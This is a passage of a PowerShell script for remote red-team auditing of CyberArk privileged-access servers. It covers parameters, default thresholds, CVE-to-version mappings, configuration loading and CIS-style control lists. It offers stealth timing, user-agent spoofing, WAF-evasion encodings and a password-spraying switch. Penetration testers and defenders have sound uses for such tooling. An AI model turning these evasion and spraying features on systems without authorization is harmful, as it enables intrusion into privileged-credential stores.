<# .SYNOPSIS CyberArk PAM Security Configuration Audit Script - Red Team Edition .DESCRIPTION Comprehensive automated REMOTE security audit for CyberArk Privileged Access Management platform. Designed for offensive security professionals, red teamers, and penetration testers. IMPORTANT: This tool is designed to run REMOTELY against CyberArk servers via network. It does NOT need to be executed on the CyberArk servers themselves. All checks are performed over the network using PVWA API, port scanning, and web testing. Generates comprehensive HTML, CSV, and JSON reports with risk scoring. .PARAMETER PVWA The URL of the PVWA server (e.g., https://pvwa.domain.com) .PARAMETER AuthType Authentication method: CyberArk, LDAP, RADIUS, or SAML .PARAMETER OutputPath Directory for report output (default: current directory) .PARAMETER Credential PSCredential object (will prompt if not provided) .PARAMETER SkipPortScan Skip network port scanning (faster execution) .PARAMETER SkipCVEChecks Skip CVE-specific vulnerability testing .PARAMETER SkipAPITests Skip API security testing (BOLA, injection, etc.) .PARAMETER SkipAuthenticatedChecks Skip all checks that require CyberArk API authentication .PARAMETER UnauthenticatedOnly Run only unauthenticated (blackbox) checks - no credentials required .EXAMPLE .\CyberArk-Security-Audit.ps1 -PVWA "https://pvwa.domain.com" -AuthType LDAP # Full audit with LDAP authentication .EXAMPLE .\CyberArk-Security-Audit.ps1 -PVWA "https://pvwa.domain.com" -UnauthenticatedOnly # Blackbox-only audit - no credentials needed .EXAMPLE .\CyberArk-Security-Audit.ps1 -PVWA "https://pvwa.domain.com" -SkipPortScan # Full audit but skip port scanning .EXAMPLE .\CyberArk-Security-Audit.ps1 -PVWA "https://pvwa.domain.com" -OPSECMode -UnauthenticatedOnly # Stealth scan with delays and reduced noise - ideal for red team ops .EXAMPLE .\CyberArk-Security-Audit.ps1 -PVWA "https://pvwa.domain.com" -Proxy "http://127.0.0.1:8080" -IgnoreCertificateErrors # Route all traffic through Burp Suite proxy .EXAMPLE .\CyberArk-Security-Audit.ps1 -PVWA "https://pvwa.domain.com" -IncludeTimingAttacks -IncludeJWTTests -IncludeWebSocketTests # Include advanced red team security tests .EXAMPLE .\CyberArk-Security-Audit.ps1 -PVWA "https://pvwa.domain.com" -RequestDelay 3 -Jitter 30 -RandomizeUserAgent # Custom timing controls: 3 second delay with 30% jitter and randomized User-Agent .EXAMPLE .\CyberArk-Security-Audit.ps1 -PVWA "https://pvwa.domain.com" -IncludeWAFEvasion -UnauthenticatedOnly # Test WAF bypass techniques during external pentest .PARAMETER EnablePasswordSpraying WARNING: Enable password spraying and brute force testing (requires explicit user confirmation) This parameter must be explicitly set to enable any password spraying or brute force functionality. By default, the script only tests known default passwords to avoid account lockouts. .PARAMETER OnlyPortScan Run ONLY port scanning checks - skips all other checks .PARAMETER OnlyCVEChecks Run ONLY CVE vulnerability checks - skips all other checks .PARAMETER OnlyAuthenticatedChecks Run ONLY authenticated API checks - skips unauthenticated/blackbox checks .PARAMETER OnlyNetworkChecks Run ONLY network security checks (TLS, ports, DNS) - skips all other checks .PARAMETER OnlyBlackboxChecks Run ONLY unauthenticated blackbox checks - skips authenticated checks .EXAMPLE .\CyberArk-Security-Audit.ps1 -PVWA "https://pvwa.domain.com" -OnlyPortScan # Run only port scanning .EXAMPLE .\CyberArk-Security-Audit.ps1 -PVWA "https://pvwa.domain.com" -OnlyCVEChecks # Run only CVE vulnerability checks .EXAMPLE .\CyberArk-Security-Audit.ps1 -PVWA "https://pvwa.domain.com" -OnlyAuthenticatedChecks -Credential $cred # Run only authenticated API checks .PARAMETER ConfigFile Path to an external JSON configuration file containing threshold overrides. The file should contain key-value pairs matching the configuration keys (e.g., MinPasswordLength, MaxPasswordAgeDays). Configuration is loaded in priority order: Parameter overrides > Config file > Defaults .PARAMETER ConfigMinPasswordLength Override the minimum password length threshold (default: 14, range: 8-128) .PARAMETER ConfigMaxPasswordAgeDays Override the maximum password age threshold in days (default: 90, range: 1-365) .PARAMETER ConfigMinVersionRetention Override the minimum version retention count (default: 5, range: 1-100) .PARAMETER ConfigSessionTimeoutMinutes Override the session timeout threshold in minutes (default: 20, range: 1-1440) .PARAMETER ConfigMaxFailedLogins Override the maximum failed logins threshold (default: 5, range: 1-100) .PARAMETER ConfigMinTLSVersion Override the minimum TLS version requirement (default: 1.2, values: 1.0, 1.1, 1.2, 1.3) .PARAMETER ConfigMaxInactiveAccountDays Override the maximum inactive account days threshold (default: 90, range: 1-365) .PARAMETER ConfigCertificateExpiryWarningDays Override the certificate expiry warning threshold in days (default: 30, range: 1-365) .PARAMETER ConfigPageLimit Override the API pagination limit (default: 1000, range: 100-10000) .PARAMETER ConfigTimeoutSeconds Override the API request timeout in seconds (default: 30, range: 5-300) .EXAMPLE .\CyberArk-Security-Audit.ps1 -PVWA "https://pvwa.domain.com" -ConfigFile "C:\Config\audit-config.json" # Load configuration from external JSON file .EXAMPLE .\CyberArk-Security-Audit.ps1 -PVWA "https://pvwa.domain.com" -ConfigMinPasswordLength 16 -ConfigMaxPasswordAgeDays 60 # Override specific thresholds via command-line parameters #> #Requires -Version 7.0 [CmdletBinding()] param( [Parameter(Mandatory = $false)] [ValidateScript({ if ([string]::IsNullOrEmpty($_) -or $_ -match '^https?://[a-zA-Z0-9]') { $true } else { throw "PVWA must be a valid URL starting with http:// or https://" } })] [string]$PVWA, [Parameter(Mandatory = $false)] [ValidateSet("CyberArk", "LDAP", "RADIUS", "SAML")] [string]$AuthType = "CyberArk", [Parameter(Mandatory = $false)] [string]$OutputPath = $PWD, [Parameter(Mandatory = $false)] [PSCredential]$Credential, [Parameter(Mandatory = $false)] [switch]$SkipPortScan, [Parameter(Mandatory = $false)] [switch]$SkipCVEChecks, [Parameter(Mandatory = $false)] [switch]$SkipAPITests, [Parameter(Mandatory = $false)] [switch]$SkipAuthenticatedChecks, [Parameter(Mandatory = $false)] [switch]$UnauthenticatedOnly, [Parameter(Mandatory = $false)] [int]$PortScanTimeout = 1000, [Parameter(Mandatory = $false)] [switch]$VerboseOutput, [Parameter(Mandatory = $false)] [switch]$SkipSecretsChecks, [Parameter(Mandatory = $false)] [switch]$SkipMachineIdentity, [Parameter(Mandatory = $false)] [switch]$SkipIGAChecks, [Parameter(Mandatory = $false)] [switch]$SkipCloudChecks, [Parameter(Mandatory = $false)] [switch]$SkipDRChecks, [Parameter(Mandatory = $false)] [switch]$IncludeEPMChecks, [Parameter(Mandatory = $false)] [string]$EPMUrl, [Parameter(Mandatory = $false)] [switch]$ComplianceMapping, [Parameter(Mandatory = $false)] [switch]$IncludeADChecks, [Parameter(Mandatory = $false)] [switch]$IncludeConjurChecks, [Parameter(Mandatory = $false)] [string]$ConjurUrl, [Parameter(Mandatory = $false)] [string]$DomainController, [Parameter(Mandatory = $false)] [switch]$SkipDefaultCredentialTests, [Parameter(Mandatory = $false)] [Alias("Stealth")] [switch]$OPSECMode, [Parameter(Mandatory = $false)] [string]$Proxy, [Parameter(Mandatory = $false)] [PSCredential]$ProxyCredential, [Parameter(Mandatory = $false)] [switch]$IgnoreCertificateErrors, [Parameter(Mandatory = $false)] [ValidateRange(0, 60)] [int]$RequestDelay = 0, [Parameter(Mandatory = $false)] [ValidateRange(0, 100)] [int]$Jitter = 0, [Parameter(Mandatory = $false)] [string]$UserAgent, [Parameter(Mandatory = $false)] [switch]$RandomizeUserAgent, [Parameter(Mandatory = $false)] [switch]$IncludeTimingAttacks, [Parameter(Mandatory = $false)] [switch]$IncludeJWTTests, [Parameter(Mandatory = $false)] [switch]$IncludeWebSocketTests, [Parameter(Mandatory = $false)] [switch]$IncludeWAFEvasion, [Parameter(Mandatory = $false)] [switch]$ParallelExecution, [Parameter(Mandatory = $false)] [ValidateRange(1, 20)] [int]$MaxThreads = 5, [Parameter(Mandatory = $false)] [switch]$NoLogo, [Parameter(Mandatory = $false)] [switch]$QuietMode, [Parameter(Mandatory = $false)] [switch]$IncludeSecretsHubChecks, [Parameter(Mandatory = $false)] [ValidateScript({ if ([string]::IsNullOrEmpty($_) -or $_ -match '^https?://') { $true } else { throw "SecretsHubUrl must be a valid URL starting with http:// or https://" } })] [string]$SecretsHubUrl, # Remote Access / Alero checks [Parameter(Mandatory = $false)] [switch]$IncludeRemoteAccessChecks, [Parameter(Mandatory = $false)] [ValidateScript({ if ([string]::IsNullOrEmpty($_) -or $_ -match '^https?://') { $true } else { throw "AleroUrl must be a valid URL starting with http:// or https://" } })] [string]$AleroUrl, # Kubernetes / Container Secrets checks [Parameter(Mandatory = $false)] [switch]$IncludeK8sChecks, [Parameter(Mandatory = $false)] [string]$K8sNamespace = "default", [Parameter(Mandatory = $false)] [ValidateScript({ if ([string]::IsNullOrEmpty($_) -or $_ -match '^https?://') { $true } else { throw "ConjurApplianceUrl must be a valid URL starting with http:// or https://" } })] [string]$ConjurApplianceUrl, # DevSecOps Pipeline Security checks [Parameter(Mandatory = $false)] [switch]$IncludeDevSecOpsChecks, # Privilege Cloud / SaaS-specific checks [Parameter(Mandatory = $false)] [switch]$IncludePrivilegeCloudChecks, [Parameter(Mandatory = $false)] [switch]$IsPrivilegeCloud, [Parameter(Mandatory = $false)] [string]$PrivilegeCloudTenant, # CyberArk Identity / Idaptive checks [Parameter(Mandatory = $false)] [switch]$IncludeIdentityChecks, [Parameter(Mandatory = $false)] [ValidateScript({ if ([string]::IsNullOrEmpty($_) -or $_ -match '^https?://') { $true } else { throw "IdentityTenantUrl must be a valid URL starting with http:// or https://" } })] [string]$IdentityTenantUrl, # Custom Plugins checks [Parameter(Mandatory = $false)] [switch]$IncludePluginChecks, # Backup Security checks [Parameter(Mandatory = $false)] [switch]$IncludeBackupSecurityChecks, [Parameter(Mandatory = $false)] [string]$BackupPath, # HSM Integration checks [Parameter(Mandatory = $false)] [switch]$IncludeHSMChecks, [Parameter(Mandatory = $false)] [ValidateSet("Thales", "nCipher", "SafeNet", "AWSCloudHSM", "AzureHSM", "Other")] [string]$HSMProvider, # PTA Deep Dive checks [Parameter(Mandatory = $false)] [switch]$IncludePTADeepDive, # Third-Party Integration checks [Parameter(Mandatory = $false)] [switch]$IncludeThirdPartyChecks, [Parameter(Mandatory = $false)] [ValidateScript({ if ([string]::IsNullOrEmpty($_) -or $_ -match '^https?://') { $true } else { throw "ServiceNowUrl must be a valid URL starting with http:// or https://" } })] [string]$ServiceNowUrl, [Parameter(Mandatory = $false)] [ValidateScript({ if ([string]::IsNullOrEmpty($_) -or $_ -match '^https?://') { $true } else { throw "SIEMUrl must be a valid URL starting with http:// or https://" } })] [string]$SIEMUrl, # Operational Hygiene checks [Parameter(Mandatory = $false)] [switch]$IncludeOperationalChecks, # Attack Path Simulation checks [Parameter(Mandatory = $false)] [switch]$IncludeAttackPathChecks, # Supply Chain Integrity checks [Parameter(Mandatory = $false)] [switch]$IncludeSupplyChainChecks, # Network Segmentation checks [Parameter(Mandatory = $false)] [switch]$IncludeNetworkSegmentationChecks, # Skip parameters for new categories [Parameter(Mandatory = $false)] [switch]$SkipSecretsHubChecks, [Parameter(Mandatory = $false)] [switch]$SkipRemoteAccessChecks, [Parameter(Mandatory = $false)] [switch]$SkipK8sChecks, [Parameter(Mandatory = $false)] [switch]$SkipDevSecOpsChecks, [Parameter(Mandatory = $false)] [switch]$SkipPrivilegeCloudChecks, [Parameter(Mandatory = $false)] [switch]$SkipIdentityChecks, [Parameter(Mandatory = $false)] [switch]$SkipPluginChecks, [Parameter(Mandatory = $false)] [switch]$SkipBackupSecurityChecks, [Parameter(Mandatory = $false)] [switch]$SkipHSMChecks, [Parameter(Mandatory = $false)] [switch]$SkipPTADeepDive, [Parameter(Mandatory = $false)] [switch]$SkipThirdPartyChecks, [Parameter(Mandatory = $false)] [switch]$SkipOperationalChecks, [Parameter(Mandatory = $false)] [switch]$SkipAttackPathChecks, [Parameter(Mandatory = $false)] [switch]$SkipSupplyChainChecks, [Parameter(Mandatory = $false)] [switch]$SkipNetworkSegmentationChecks, # Offensive Security Features (Require explicit user confirmation) [Parameter(Mandatory = $false)] [switch]$EnablePasswordSpraying, # Selective Execution - Run ONLY specific check categories [Parameter(Mandatory = $false)] [switch]$OnlyPortScan, [Parameter(Mandatory = $false)] [switch]$OnlyCVEChecks, [Parameter(Mandatory = $false)] [switch]$OnlyAuthenticatedChecks, [Parameter(Mandatory = $false)] [switch]$OnlyNetworkChecks, [Parameter(Mandatory = $false)] [switch]$OnlyBlackboxChecks, # External Configuration File [Parameter(Mandatory = $false)] [ValidateScript({ if ([string]::IsNullOrEmpty($_)) { $true } elseif (Test-Path $_) { $true } else { throw "ConfigFile path does not exist: $_" } })] [string]$ConfigFile, # Key Threshold Overrides - Allow command-line override of common thresholds [Parameter(Mandatory = $false)] [ValidateRange(8, 128)] [int]$ConfigMinPasswordLength, [Parameter(Mandatory = $false)] [ValidateRange(1, 365)] [int]$ConfigMaxPasswordAgeDays, [Parameter(Mandatory = $false)] [ValidateRange(1, 100)] [int]$ConfigMinVersionRetention, [Parameter(Mandatory = $false)] [ValidateRange(1, 1440)] [int]$ConfigSessionTimeoutMinutes, [Parameter(Mandatory = $false)] [ValidateRange(1, 100)] [int]$ConfigMaxFailedLogins, [Parameter(Mandatory = $false)] [ValidateSet("1.0", "1.1", "1.2", "1.3")] [string]$ConfigMinTLSVersion, [Parameter(Mandatory = $false)] [ValidateRange(1, 365)] [int]$ConfigMaxInactiveAccountDays, [Parameter(Mandatory = $false)] [ValidateRange(1, 365)] [int]$ConfigCertificateExpiryWarningDays, [Parameter(Mandatory = $false)] [ValidateRange(100, 10000)] [int]$ConfigPageLimit, [Parameter(Mandatory = $false)] [ValidateRange(5, 300)] [int]$ConfigTimeoutSeconds ) #region Configuration # Default configuration - can be overridden by external config file or parameters $script:DefaultConfig = @{ # CIS Benchmark thresholds MinPasswordLength = 14 MaxPasswordAgeDays = 90 MinVersionRetention = 5 SessionTimeoutMinutes = 20 MaxFailedLogins = 5 MinTLSVersion = "1.2" # CyberArk Vendor Best Practice thresholds MinValidityPeriod = 60 # Minutes - minimum time password must be valid MaxExclusiveAccessDuration = 1440 # Minutes (24 hours max for exclusive access) MaxPendingAccountAgeDays = 30 # Days before pending accounts should be reviewed MinReconcileFrequencyDays = 7 # Days between reconciliation checks MaxInactiveAccountDays = 90 # Days of inactivity before flagging RequireDualControlForSensitive = $true # Require dual control for sensitive safes PSMRecordingRequired = $true # Require PSM recording # API settings PageLimit = 1000 TimeoutSeconds = 30 # Network Security settings PortScanTimeoutMs = 1000 # Timeout for port scan connections EnableAggressiveScanning = $false # Enable more thorough but slower scanning # CVE Check settings CheckLog4Shell = $true # Include Log4Shell check (requires callback server) SSRFDelayThresholdMs = 5000 # Delay threshold indicating potential SSRF # Host Security settings MinSecurityLogSizeMB = 1024 # Minimum security log size in MB MaxCachedLogons = 0 # Recommended cached logons (0 for servers) RequireLSAProtection = $true # Require LSA Protection (RunAsPPL) # Vulnerability thresholds CertificateExpiryWarningDays = 30 # Warn if cert expires within this many days SignatureAgeWarningDays = 7 # Warn if AV signatures older than this # Known vulnerable CyberArk versions (major.minor) VulnerableVersions = @{ "10.9" = @("CVE-2021-31796") "10.10" = @("CVE-2021-31796", "TP3-Log4Shell") "11.0" = @("TP3-Log4Shell") "11.1" = @() "11.2" = @() "12.0" = @() "12.1" = @() "12.2" = @("CVE-2024-42339", "CVE-2024-42340") "14.0" = @("CVE-2025-49827", "CVE-2025-49828", "CVE-2025-49829", "CVE-2025-49830", "CVE-2025-49831", "CA25-32") "14.2" = @("TP2-ag-grid", "CA25-34", "CA25-35") "24.7" = @("CVE-2025-22270", "CVE-2025-22271", "CVE-2025-22272", "CVE-2025-22273", "CVE-2025-22274") # EPM SaaS } # Machine Identity Security thresholds MaxServiceAccountSafeMemberships = 10 # Maximum safes a service account should access MaxStaleIdentityDays = 180 # Days without activity for machine identity RequireAppIDAuthentication = $true # Require strong AppID authentication # Identity Governance thresholds MaxUserSafeMemberships = 20 # Maximum safes a user should have access to MaxInactiveUserDays = 90 # Days before flagging inactive users MaxPendingApprovalDays = 7 # Maximum days for pending approval requests MaxPermissionDriftPercentage = 20 # Percentage of unused permissions to flag # Zero Standing Privileges thresholds MaxStandingPrivilegeHours = 8 # Maximum hours for standing privilege access RequireJITForAdminAccounts = $true # Require JIT for admin accounts # Secrets Management thresholds MaxSecretAgeDays = 365 # Maximum age for secrets before rotation RequireAllowedMachines = $true # Require allowed machines for AppIDs MinAppIDAuthMethods = 2 # Minimum authentication methods for AppIDs # Cloud Security thresholds MaxCloudEntitlementScore = 50 # Maximum CIEM entitlement score RequireFederatedAuth = $true # Require federated authentication for cloud # Disaster Recovery thresholds MaxReplicationLagMinutes = 15 # Maximum DR replication lag RequireBreakGlassAccounts = $true # Require break-glass accounts configured # Active Directory Security thresholds MaxDelegatedAccounts = 10 # Maximum accounts with delegation MaxShadowAdminPercentage = 5 # Maximum % of shadow admins SPNPrivilegedAccountLimit = 0 # Privileged accounts with SPNs should be 0 SIDHistoryAgeThresholdDays = 365 # SID History older than this is suspicious MaxUnconstrainedDelegation = 0 # Unconstrained delegation accounts (should be 0) # Server Hardening thresholds RequireStaticIP = $true # Vault should use static IP RequireNonDomainJoined = $true # Vault should not be domain-joined RequireFIPS = $false # FIPS mode requirement MinRDPEncryptionLevel = 3 # Minimum RDP encryption level (High) RequireNLA = $true # Require Network Level Authentication # Application Control thresholds CheckDLLInjection = $true # Check for DLL injection vulnerabilities CheckDLLHijacking = $true # Check for DLL hijacking risks MaxWritableSystemPaths = 0 # Writable paths in system directories # Conjur/Secrets Manager thresholds MaxConjurAPIKeyAgeDays = 90 # Maximum age for Conjur API keys RequireConjurMTLS = $true # Require mTLS for Conjur # Red Team / OPSEC Configuration UserAgents = @( "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/120.0.0.0" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15" "CyberArk Password Vault Web Access" "Microsoft-CryptoAPI/10.0" ) # Timing attack thresholds TimingAttackIterations = 10 # Number of iterations for timing analysis TimingVarianceThresholdMs = 50 # Variance threshold indicating potential timing leak BlindSQLDelaySeconds = 5 # Delay for blind SQL injection tests # WAF Evasion payloads WAFEvasionEncodings = @("UrlEncode", "DoubleUrlEncode", "UnicodeEncode", "Base64", "HexEncode") } function Initialize-Configuration { <# .SYNOPSIS Initializes the script configuration from defaults, external file, and parameter overrides. .DESCRIPTION Configuration is loaded in the following priority order (highest to lowest): 1. Command-line parameter overrides (ConfigMinPasswordLength, etc.) 2. External configuration file (JSON format via -ConfigFile) 3. Default configuration values embedded in script #> [CmdletBinding()] param() # Start with default configuration $script:Config = $script:DefaultConfig.Clone() # Deep clone nested hashtables (VulnerableVersions, UserAgents, WAFEvasionEncodings) foreach ($key in $script:DefaultConfig.Keys) { $value = $script:DefaultConfig[$key] if ($value -is [hashtable]) { $script:Config[$key] = @{} foreach ($nestedKey in $value.Keys) { $script:Config[$key][$nestedKey] = $value[$nestedKey] } } elseif ($value -is [array]) { $script:Config[$key] = $value.Clone() } } # Load external configuration file if specified if (-not [string]::IsNullOrEmpty($ConfigFile)) { Write-Host "[*] Loading configuration from: $ConfigFile" -ForegroundColor Cyan try { $fileContent = Get-Content -Path $ConfigFile -Raw -ErrorAction Stop $externalConfig = $fileContent | ConvertFrom-Json -ErrorAction Stop # Merge external config into script config foreach ($property in $externalConfig.PSObject.Properties) { $key = $property.Name $value = $property.Value if ($script:Config.ContainsKey($key)) { # Handle nested objects (like VulnerableVersions) if ($value -is [PSCustomObject] -and $script:Config[$key] -is [hashtable]) { foreach ($nestedProp in $value.PSObject.Properties) { $script:Config[$key][$nestedProp.Name] = $nestedProp.Value } } elseif ($value -is [array]) { $script:Config[$key] = @($value) } else { $script:Config[$key] = $value } Write-Verbose "Config override from file: $key = $value" } else { Write-Warning "Unknown configuration key in file: $key (ignored)" } } Write-Host "[+] External configuration loaded successfully" -ForegroundColor Green } catch { Write-Warning "Failed to load configuration file: $($_.Exception.Message)" Write-Warning "Continuing with default configuration" } } # Apply command-line parameter overrides (highest priority) $parameterOverrides = @{ 'ConfigMinPasswordLength' = 'MinPasswordLength' 'ConfigMaxPasswordAgeDays' = 'MaxPasswordAgeDays' 'ConfigMinVersionRetention' = 'MinVersionRetention' 'ConfigSessionTimeoutMinutes' = 'SessionTimeoutMinutes' 'ConfigMaxFailedLogins' = 'MaxFailedLogins' 'ConfigMinTLSVersion' = 'MinTLSVersion' 'ConfigMaxInactiveAccountDays' = 'MaxInactiveAccountDays' 'ConfigCertificateExpiryWarningDays' = 'CertificateExpiryWarningDays' 'ConfigPageLimit' = 'PageLimit' 'ConfigTimeoutSeconds' = 'TimeoutSeconds' } foreach ($paramName in $parameterOverrides.Keys) { $configKey = $parameterOverrides[$paramName] $paramValue = Get-Variable -Name $paramName -ValueOnly -ErrorAction SilentlyContinue if ($null -ne $paramValue -and $paramValue -ne 0 -and $paramValue -ne '') { $script:Config[$configKey] = $paramValue Write-Verbose "Config override from parameter: $configKey = $paramValue" } } # Log active configuration summary if verbose if ($VerboseOutput -or $VerbosePreference -eq 'Continue') { Write-Host "`n[*] Active Configuration Summary:" -ForegroundColor Cyan Write-Host " MinPasswordLength: $($script:Config.MinPasswordLength)" Write-Host " MaxPasswordAgeDays: $($script:Config.MaxPasswordAgeDays)" Write-Host " SessionTimeoutMinutes: $($script:Config.SessionTimeoutMinutes)" Write-Host " MaxFailedLogins: $($script:Config.MaxFailedLogins)" Write-Host " MinTLSVersion: $($script:Config.MinTLSVersion)" Write-Host " PageLimit: $($script:Config.PageLimit)" Write-Host " TimeoutSeconds: $($script:Config.TimeoutSeconds)" Write-Host "" } } function Export-DefaultConfiguration { <# .SYNOPSIS Exports the default configuration to a JSON file for customization. .PARAMETER Path The output path for the JSON configuration file. .EXAMPLE Export-DefaultConfiguration -Path "C:\Config\cyberark-audit-config.json" #> [CmdletBinding()] param( [Parameter(Mandatory = $true)] [string]$Path ) # Create a clean config object for export (excluding complex objects that don't serialize well) $exportConfig = [ordered]@{ # CIS Benchmark thresholds MinPasswordLength = $script:DefaultConfig.MinPasswordLength MaxPasswordAgeDays = $script:DefaultConfig.MaxPasswordAgeDays MinVersionRetention = $script:DefaultConfig.MinVersionRetention SessionTimeoutMinutes = $script:DefaultConfig.SessionTimeoutMinutes MaxFailedLogins = $script:DefaultConfig.MaxFailedLogins MinTLSVersion = $script:DefaultConfig.MinTLSVersion # CyberArk Vendor Best Practice thresholds MinValidityPeriod = $script:DefaultConfig.MinValidityPeriod MaxExclusiveAccessDuration = $script:DefaultConfig.MaxExclusiveAccessDuration MaxPendingAccountAgeDays = $script:DefaultConfig.MaxPendingAccountAgeDays MinReconcileFrequencyDays = $script:DefaultConfig.MinReconcileFrequencyDays MaxInactiveAccountDays = $script:DefaultConfig.MaxInactiveAccountDays RequireDualControlForSensitive = $script:DefaultConfig.RequireDualControlForSensitive PSMRecordingRequired = $script:DefaultConfig.PSMRecordingRequired # API settings PageLimit = $script:DefaultConfig.PageLimit TimeoutSeconds = $script:DefaultConfig.TimeoutSeconds # Network Security settings PortScanTimeoutMs = $script:DefaultConfig.PortScanTimeoutMs EnableAggressiveScanning = $script:DefaultConfig.EnableAggressiveScanning # CVE Check settings CheckLog4Shell = $script:DefaultConfig.CheckLog4Shell SSRFDelayThresholdMs = $script:DefaultConfig.SSRFDelayThresholdMs # Host Security settings MinSecurityLogSizeMB = $script:DefaultConfig.MinSecurityLogSizeMB MaxCachedLogons = $script:DefaultConfig.MaxCachedLogons RequireLSAProtection = $script:DefaultConfig.RequireLSAProtection # Vulnerability thresholds CertificateExpiryWarningDays = $script:DefaultConfig.CertificateExpiryWarningDays SignatureAgeWarningDays = $script:DefaultConfig.SignatureAgeWarningDays # Machine Identity Security thresholds MaxServiceAccountSafeMemberships = $script:DefaultConfig.MaxServiceAccountSafeMemberships MaxStaleIdentityDays = $script:DefaultConfig.MaxStaleIdentityDays RequireAppIDAuthentication = $script:DefaultConfig.RequireAppIDAuthentication # Identity Governance thresholds MaxUserSafeMemberships = $script:DefaultConfig.MaxUserSafeMemberships MaxInactiveUserDays = $script:DefaultConfig.MaxInactiveUserDays MaxPendingApprovalDays = $script:DefaultConfig.MaxPendingApprovalDays MaxPermissionDriftPercentage = $script:DefaultConfig.MaxPermissionDriftPercentage # Zero Standing Privileges thresholds MaxStandingPrivilegeHours = $script:DefaultConfig.MaxStandingPrivilegeHours RequireJITForAdminAccounts = $script:DefaultConfig.RequireJITForAdminAccounts # Secrets Management thresholds MaxSecretAgeDays = $script:DefaultConfig.MaxSecretAgeDays RequireAllowedMachines = $script:DefaultConfig.RequireAllowedMachines MinAppIDAuthMethods = $script:DefaultConfig.MinAppIDAuthMethods # Cloud Security thresholds MaxCloudEntitlementScore = $script:DefaultConfig.MaxCloudEntitlementScore RequireFederatedAuth = $script:DefaultConfig.RequireFederatedAuth # Disaster Recovery thresholds MaxReplicationLagMinutes = $script:DefaultConfig.MaxReplicationLagMinutes RequireBreakGlassAccounts = $script:DefaultConfig.RequireBreakGlassAccounts # Active Directory Security thresholds MaxDelegatedAccounts = $script:DefaultConfig.MaxDelegatedAccounts MaxShadowAdminPercentage = $script:DefaultConfig.MaxShadowAdminPercentage SPNPrivilegedAccountLimit = $script:DefaultConfig.SPNPrivilegedAccountLimit SIDHistoryAgeThresholdDays = $script:DefaultConfig.SIDHistoryAgeThresholdDays MaxUnconstrainedDelegation = $script:DefaultConfig.MaxUnconstrainedDelegation # Server Hardening thresholds RequireStaticIP = $script:DefaultConfig.RequireStaticIP RequireNonDomainJoined = $script:DefaultConfig.RequireNonDomainJoined RequireFIPS = $script:DefaultConfig.RequireFIPS MinRDPEncryptionLevel = $script:DefaultConfig.MinRDPEncryptionLevel RequireNLA = $script:DefaultConfig.RequireNLA # Application Control thresholds CheckDLLInjection = $script:DefaultConfig.CheckDLLInjection CheckDLLHijacking = $script:DefaultConfig.CheckDLLHijacking MaxWritableSystemPaths = $script:DefaultConfig.MaxWritableSystemPaths # Conjur/Secrets Manager thresholds MaxConjurAPIKeyAgeDays = $script:DefaultConfig.MaxConjurAPIKeyAgeDays RequireConjurMTLS = $script:DefaultConfig.RequireConjurMTLS # Timing attack thresholds TimingAttackIterations = $script:DefaultConfig.TimingAttackIterations TimingVarianceThresholdMs = $script:DefaultConfig.TimingVarianceThresholdMs BlindSQLDelaySeconds = $script:DefaultConfig.BlindSQLDelaySeconds } try { $exportConfig | ConvertTo-Json -Depth 10 | Set-Content -Path $Path -Encoding UTF8 Write-Host "[+] Default configuration exported to: $Path" -ForegroundColor Green return $true } catch { Write-Warning "Failed to export configuration: $($_.Exception.Message)" return $false } } # CIS Benchmark Control Mappings $script:CISControls = @{ "1.1" = "Ensure dedicated server for Vault" "1.2" = "Ensure Vault firewall rules configured" "1.3" = "Ensure unnecessary services disabled" "2.1" = "Ensure strong Master Policy password settings" "2.2" = "Ensure password complexity requirements" "2.3" = "Ensure minimum password length" "2.4" = "Ensure password expiration policy" "3.1" = "Ensure safe access follows least privilege" "3.2" = "Ensure safe member permissions reviewed" "3.3" = "Ensure dual control for sensitive safes" "4.1" = "Ensure automatic password management enabled" "4.2" = "Ensure password rotation schedule" "4.3" = "Ensure reconciliation accounts configured" "5.1" = "Ensure MFA enabled for authentication" "5.2" = "Ensure LDAP uses secure connection" "5.3" = "Ensure session timeout configured" "6.1" = "Ensure PSM session recording enabled" "6.2" = "Ensure PSM isolation configured" "7.1" = "Ensure audit logging enabled" "7.2" = "Ensure SIEM integration configured" "7.3" = "Ensure component monitoring active" "8.1" = "Ensure TLS 1.2+ enforced" "8.2" = "Ensure secure cipher suites" "8.3" = "Ensure certificates valid" # Vendor Best Practice Controls (V prefix) "V1.1" = "Master Policy - Minimum validity period" "V1.2" = "Master Policy - One-time password enforcement" "V1.3" = "Master Policy - Exclusive access controls" "V1.4" = "Master Policy - Reset overrides settings" "V2.1" = "PSM - Session recording enabled" "V2.2" = "PSM - Keystroke logging configured" "V2.3" = "PSM - Copy/paste restrictions" "V2.4" = "PSM - Recording encryption" "V3.1" = "Account Discovery - Pending accounts reviewed" "V3.2" = "Account Discovery - Onboarding rules defined" "V3.3" = "Account Discovery - Scanner configuration" "V4.1" = "PTA - Anomaly detection enabled" "V4.2" = "PTA - Unmanaged account detection" "V4.3" = "PTA - SIEM integration active" "V5.1" = "Connection Components - Security configured" "V5.2" = "Connection Components - Transparent users" "V6.1" = "Linked Accounts - Logon accounts configured" "V6.2" = "Linked Accounts - Reconcile accounts assigned" "V7.1" = "PVWA - HTTP security headers" "V7.2" = "PVWA - Session management" "V7.3" = "PVWA - Concurrent session limits" "V8.1" = "CPM - Service account permissions" "V8.2" = "CPM - Scanner intervals" # Blackbox Security Controls (BB prefix) "BB1" = "Exposed sensitive endpoints" "BB2" = "Information disclosure" "BB3" = "Default credentials" "BB4" = "Dangerous HTTP methods" "BB5" = "Cookie security attributes" "BB6" = "CORS configuration" "BB7" = "Exposed backup/config files" "BB8" = "Directory listing" "BB9" = "SSL/TLS certificate issues" "BB10" = "Rate limiting" "BB11" = "Known vulnerabilities" # Network Security Controls (NET prefix) "NET1" = "CyberArk port exposure" "NET2" = "Vault port security (1858)" "NET3" = "Administrative port exposure" "NET4" = "SMB/NetBIOS exposure" "NET5" = "RDP exposure" "NET6" = "Database port exposure" "NET7" = "DNS security" # Advanced TLS Controls (TLS prefix) "TLS1" = "Cipher suite strength" "TLS2" = "Protocol version support" "TLS3" = "Certificate chain validation" "TLS4" = "OCSP/CRL checking" # 